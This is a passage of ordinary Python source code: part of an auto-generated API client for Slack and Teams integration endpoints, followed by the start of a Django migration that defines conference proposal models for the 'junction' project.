verify the required parameter 'teams_connection_partial_update' is set if self.api_client.client_side_validation and ('teams_connection_partial_update' not in local_var_params or # noqa: E501 local_var_params['teams_connection_partial_update'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `teams_connection_partial_update` when calling `patch_teams_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'teams_connection_partial_update' in local_var_params: body_params = local_var_params['teams_connection_partial_update'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TeamsConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def send_slack_message(self, id, slack_message, **kwargs): # noqa: E501 """send_slack_message # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.send_slack_message(id, slack_message, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackMessage slack_message: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.send_slack_message_with_http_info(id, slack_message, **kwargs) # noqa: E501 def send_slack_message_with_http_info(self, id, slack_message, **kwargs): # noqa: E501 """send_slack_message # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.send_slack_message_with_http_info(id, slack_message, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackMessage slack_message: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'slack_message'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method send_slack_message" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `send_slack_message`") # noqa: E501 # verify the required parameter 'slack_message' is set if self.api_client.client_side_validation and ('slack_message' not in local_var_params or # noqa: E501 local_var_params['slack_message'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `slack_message` when calling `send_slack_message`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'slack_message' in local_var_params: body_params = local_var_params['slack_message'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}/message', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def send_teams_message(self, id, teams_message, **kwargs): # noqa: E501 """send_teams_message # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.send_teams_message(id, teams_message, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsMessage teams_message: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.send_teams_message_with_http_info(id, teams_message, **kwargs) # noqa: E501 def send_teams_message_with_http_info(self, id, teams_message, **kwargs): # noqa: E501 """send_teams_message # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.send_teams_message_with_http_info(id, teams_message, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsMessage teams_message: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'teams_message'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method send_teams_message" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `send_teams_message`") # noqa: E501 # verify the required parameter 'teams_message' is set if self.api_client.client_side_validation and ('teams_message' not in local_var_params or # noqa: E501 local_var_params['teams_message'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `teams_message` when calling `send_teams_message`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'teams_message' in local_var_params: body_params = local_var_params['teams_message'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}/send-message', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_slack_connection_flow(self, **kwargs): # noqa: E501 """start_slack_connection_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_slack_connection_flow(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_slack_connection_flow_with_http_info(**kwargs) # noqa: E501 def start_slack_connection_flow_with_http_info(self, **kwargs): # noqa: E501 """start_slack_connection_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_slack_connection_flow_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_slack_connection_flow" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/connect', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_slack_connection_token_refresh_flow(self, id, **kwargs): # noqa: E501 """start_slack_connection_token_refresh_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_slack_connection_token_refresh_flow(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_slack_connection_token_refresh_flow_with_http_info(id, **kwargs) # noqa: E501 def start_slack_connection_token_refresh_flow_with_http_info(self, id, **kwargs): # noqa: E501 """start_slack_connection_token_refresh_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_slack_connection_token_refresh_flow_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_slack_connection_token_refresh_flow" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `start_slack_connection_token_refresh_flow`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}/refresh-token', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_teams_connection_flow(self, **kwargs): # noqa: E501 """start_teams_connection_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_teams_connection_flow(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param str team: :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_teams_connection_flow_with_http_info(**kwargs) # noqa: E501 def start_teams_connection_flow_with_http_info(self, **kwargs): # noqa: E501 """start_teams_connection_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_teams_connection_flow_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param str team: :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset', 'team'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_teams_connection_flow" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 if 'team' in local_var_params and local_var_params['team'] is not None: # noqa: E501 query_params.append(('team', local_var_params['team'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/connect', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def start_teams_connection_token_refresh_flow(self, id, **kwargs): # noqa: E501 """start_teams_connection_token_refresh_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_teams_connection_token_refresh_flow(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param str team: :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.start_teams_connection_token_refresh_flow_with_http_info(id, **kwargs) # noqa: E501 def start_teams_connection_token_refresh_flow_with_http_info(self, id, **kwargs): # noqa: E501 """start_teams_connection_token_refresh_flow # noqa: E501 ### Required permissions * User account permission: `system:admin-access` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.start_teams_connection_token_refresh_flow_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param str team: :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'team'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method start_teams_connection_token_refresh_flow" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `start_teams_connection_token_refresh_flow`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] if 'team' in local_var_params and local_var_params['team'] is not None: # noqa: E501 query_params.append(('team', local_var_params['team'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}/refresh-token', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_slack_connection(self, id, slack_connection, **kwargs): # noqa: E501 """update_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_slack_connection(id, slack_connection, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackConnection slack_connection: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SlackConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_slack_connection_with_http_info(id, slack_connection, **kwargs) # noqa: E501 def update_slack_connection_with_http_info(self, id, slack_connection, **kwargs): # noqa: E501 """update_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_slack_connection_with_http_info(id, slack_connection, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackConnection slack_connection: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SlackConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'slack_connection'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_slack_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `update_slack_connection`") # noqa: E501 # verify the required parameter 'slack_connection' is set if self.api_client.client_side_validation and ('slack_connection' not in local_var_params or # noqa: E501 local_var_params['slack_connection'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `slack_connection` when calling `update_slack_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'slack_connection' in local_var_params: body_params = local_var_params['slack_connection'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SlackConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def update_teams_connection(self, id, teams_connection, **kwargs): # noqa: E501 """update_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_teams_connection(id, teams_connection, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsConnection teams_connection: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TeamsConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.update_teams_connection_with_http_info(id, teams_connection, **kwargs) # noqa: E501 def update_teams_connection_with_http_info(self, id, teams_connection, **kwargs): # noqa: E501 """update_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_teams_connection_with_http_info(id, teams_connection, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsConnection teams_connection: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TeamsConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'teams_connection'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_teams_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `update_teams_connection`") # noqa: E501 # verify the required parameter 'teams_connection' is set if self.api_client.client_side_validation and ('teams_connection' not in local_var_params or # noqa: E501 local_var_params['teams_connection'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `teams_connection` when calling `update_teams_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'teams_connection' in local_var_params: body_params = local_var_params['teams_connection'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TeamsConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

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115,183

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0

null

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0

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null

0

8

4dce77c9981af886b2a18610ea15e6cbc316f937

18,950

py

Python

junction/proposals/migrations/0001_initial.py

theSage21/junction

ac713edcf56c41eb3f066da776a0a5d24e55b46a

[ "MIT" ]

192

2015-01-12T06:21:24.000Z

2022-03-10T09:57:37.000Z

junction/proposals/migrations/0001_initial.py

theSage21/junction

ac713edcf56c41eb3f066da776a0a5d24e55b46a

[ "MIT" ]

621

2015-01-01T09:19:17.000Z

2021-05-28T09:27:35.000Z

junction/proposals/migrations/0001_initial.py

theSage21/junction

ac713edcf56c41eb3f066da776a0a5d24e55b46a

[ "MIT" ]

207

2015-01-05T16:39:06.000Z

2022-02-15T13:18:15.000Z

# -*- coding: utf-8 -*- from __future__ import unicode_literals import django_extensions.db.fields from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ("conferences", "0001_initial"), ] operations = [ migrations.CreateModel( name="ConferenceProposalSection", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "active", models.BooleanField(default=True, verbose_name="Is Active?"), ), ( "conference", models.ForeignKey( to="conferences.Conference", on_delete=models.deletion.CASCADE, ), ), ( "created_by", models.ForeignKey( related_name="created_conferenceproposalsection_set", verbose_name="Created By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ( "modified_by", models.ForeignKey( related_name="updated_conferenceproposalsection_set", verbose_name="Modified By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ], options={}, bases=(models.Model,), ), migrations.CreateModel( name="ConferenceProposalType", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ( "active", models.BooleanField(default=True, verbose_name="Is Active?"), ), ( "conference", models.ForeignKey( to="conferences.Conference", on_delete=models.deletion.CASCADE, ), ), ( "created_by", models.ForeignKey( related_name="created_conferenceproposaltype_set", verbose_name="Created By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ( "modified_by", models.ForeignKey( related_name="updated_conferenceproposaltype_set", verbose_name="Modified By", blank=True, on_delete=models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, null=True, ), ), ], options={}, bases=(models.Model,), ), migrations.CreateModel( name="Proposal", fields=[ ( "id", models.AutoField( verbose_name="ID", serialize=False, auto_created=True, primary_key=True, ), ), ( "created_at", models.DateTimeField(auto_now_add=True, verbose_name="Created At"), ), ( "modified_at", models.DateTimeField( auto_now=True, verbose_name="Last Modified At" ), ), ("title", models.CharField(max_length=255)), ( "slug", django_extensions.db.fields.AutoSlugField( populate_from=("title",), max_length=255, editable=False, blank=True, ), ), ("description", models.TextField(default="")), ( "target_audience", models.PositiveSmallIntegerField( default=1, verbose_name="Target Audience", choices=[ (1, b"Beginner"), (2, b"Intermediate"), (3, b"Advanced"), ], ), ), ("prerequisites", models.TextField(default="")), ("content_urls", models.TextField(default="")), ("speaker_info", models.TextField(default="")), ("speaker_links", models.TextField(default="")), ( "status", models.PositiveSmallIntegerField( default=1, choices=[(1, b"Draft"), (2, b"Public"), (3, b"Cancelled")], ), ), ( "review_status", models.PositiveSmallIntegerField( default=1, verbose_name="Review Status", choices=[ (1, b"Yet to be reviewed"), (2, b"Selected"), (3, b"Rejected"), (4, b" On hold"), (5, b"Wait-listed"), ], ), ), ( "deleted", models.BooleanField(default=False, verbose_name="Is Deleted?"), ), ( "author", models.ForeignKey( verbose_name="Primary Speaker", to=settings.AUTH_USER_MODEL, on_delete=models.deletion.CASCADE, ), ), ( "conference", models.ForeignKey( to="conferences.Conference", on_delete=models.deletion.CASCADE, ), ), 